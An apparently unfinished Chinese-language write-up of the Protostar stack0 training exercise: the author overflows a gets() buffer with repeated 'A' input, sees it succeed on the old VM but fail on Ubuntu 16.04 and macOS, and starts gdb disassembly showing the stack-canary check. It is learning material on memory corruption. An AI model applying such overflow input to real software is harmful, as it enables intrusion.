在官方提供的虚拟机中,使用系统已经编译好的二进制可执行文件,可以实现stack overflow
系统已经编译好的二进制文件
user@protostar:~/repos$ ls /opt/protostar/bin/
final0 final2 format1 format3 heap0 heap2 net0 net2 net4 stack1 stack3 stack5 stack7
final1 format0 format2 format4 heap1 heap3 net1 net3 stack0 stack2 stack4 stack6
user@protostar:/opt/protostar/bin$ echo "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"|./stack0
you have changed the 'modified' variable
user@protostar:/opt/protostar/bin$ uname -a
Linux protostar 2.6.32-5-686 #1 SMP Mon Oct 3 04:15:24 UTC 2011 i686 GNU/Linux
而如果使用源码进行编译,
使用源码编译得到的二进制文件
user@protostar:~/repos$ ls
stack0.c
user@protostar:~/repos$ gcc -o stack0 stack0.c
/tmp/ccojQDsp.o: In function `main':
stack0.c:(.text+0x19): warning: the `gets' function is dangerous and should not be used.
user@protostar:~/repos$ ls
stack0 stack0.c
user@protostar:~/repos$ python -c "print 'A'*64"|./stack0
[!] Tru again
user@protostar:~/repos$ python -c "print 'A'*65"|./stack0
[*] You have changed the 'modified' var
但是为什么这两个文件大小差这么多。
user@protostar:~/repos$ file /opt/protostar/bin/stack0
/opt/protostar/bin/stack0: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, not stripped
user@protostar:~/repos$ ls -alh /opt/protostar/bin/stack0
-rwsr-xr-x 1 root root 22K Nov 24 2011 /opt/protostar/bin/stack0
user@protostar:~/repos$ ls -alh stack0
-rwxr-xr-x 1 user user 4.6K Jul 13 22:19 stack0
user@protostar:~/repos$ file stack0
stack0: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, not stripped
而不管是在我的Mac,虚拟机ubuntu-16.04-server上都不能成功。
ubuntu-16.04-server
ubuntu@VM-64-40-ubuntu:~/repos/test$ echo "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"|./stack0
[!] Tru again
*** stack smashing detected ***: ./stack0 terminated
Aborted (core dumped)
macOS
[master][~/CTF/Protostar/stack0]$ python -c "print 'A'*100"|./stack0 [1:12:54]
warning: this program uses gets(), which is unsafe.
[!] Tru again
[1] 36582 done python -c "print 'A'*100" |
36583 abort ./stack0
可见在旧系统上虽然自己手动编译时会有warning,
user@protostar:~/repos$ gcc -o stack0 stack0.c
/tmp/ccojQDsp.o: In function `main':
stack0.c:(.text+0x19): warning: the `gets' function is dangerous and should not be used.
但是依然是可以进行stack overflow的。
然而在新系统上不能实现,是什么原因呢,让我们在新系统(ubuntu-16.04-server)用gdb来调试一下吧。
使用gdb调试一下自己手动编译的二进制
ubuntu@VM-64-40-ubuntu:~/repos/test$ gdb ./stack0
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.04) 7.11.1
(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
0x00000000004005d6 <+0>: push rbp
0x00000000004005d7 <+1>: mov rbp,rsp
0x00000000004005da <+4>: sub rsp,0x70
0x00000000004005de <+8>: mov DWORD PTR [rbp-0x64],edi
0x00000000004005e1 <+11>: mov QWORD PTR [rbp-0x70],rsi
0x00000000004005e5 <+15>: mov rax,QWORD PTR fs:0x28
0x00000000004005ee <+24>: mov QWORD PTR [rbp-0x8],rax
0x00000000004005f2 <+28>: xor eax,eax
0x00000000004005f4 <+30>: mov DWORD PTR [rbp-0x54],0x0
0x00000000004005fb <+37>: lea rax,[rbp-0x50]
0x00000000004005ff <+41>: mov rdi,rax
0x0000000000400602 <+44>: mov eax,0x0
0x0000000000400607 <+49>: call 0x4004c0 <gets@plt>
0x000000000040060c <+54>: mov eax,DWORD PTR [rbp-0x54]
0x000000000040060f <+57>: test eax,eax
0x0000000000400611 <+59>: je 0x400624 <main+78>
0x0000000000400613 <+61>: mov edi,0x4006d8
0x0000000000400618 <+66>: call 0x400490 <puts@plt>
0x000000000040061d <+71>: mov eax,0x0
0x0000000000400622 <+76>: jmp 0x400633 <main+93>
0x0000000000400624 <+78>: mov edi,0x400700
0x0000000000400629 <+83>: call 0x400490 <puts@plt>
0x000000000040062e <+88>: mov eax,0x1
0x0000000000400633 <+93>: mov rdx,QWORD PTR [rbp-0x8]
0x0000000000400637 <+97>: xor rdx,QWORD PTR fs:0x28
0x0000000000400640 <+106>: je 0x400647 <main+113>
0x0000000000400642 <+108>: call 0x4004a0 <__stack_chk_fail@plt>
0x0000000000400647 <+113>: leave
---Type <return> to continue, or q <return> to quit---
//TODO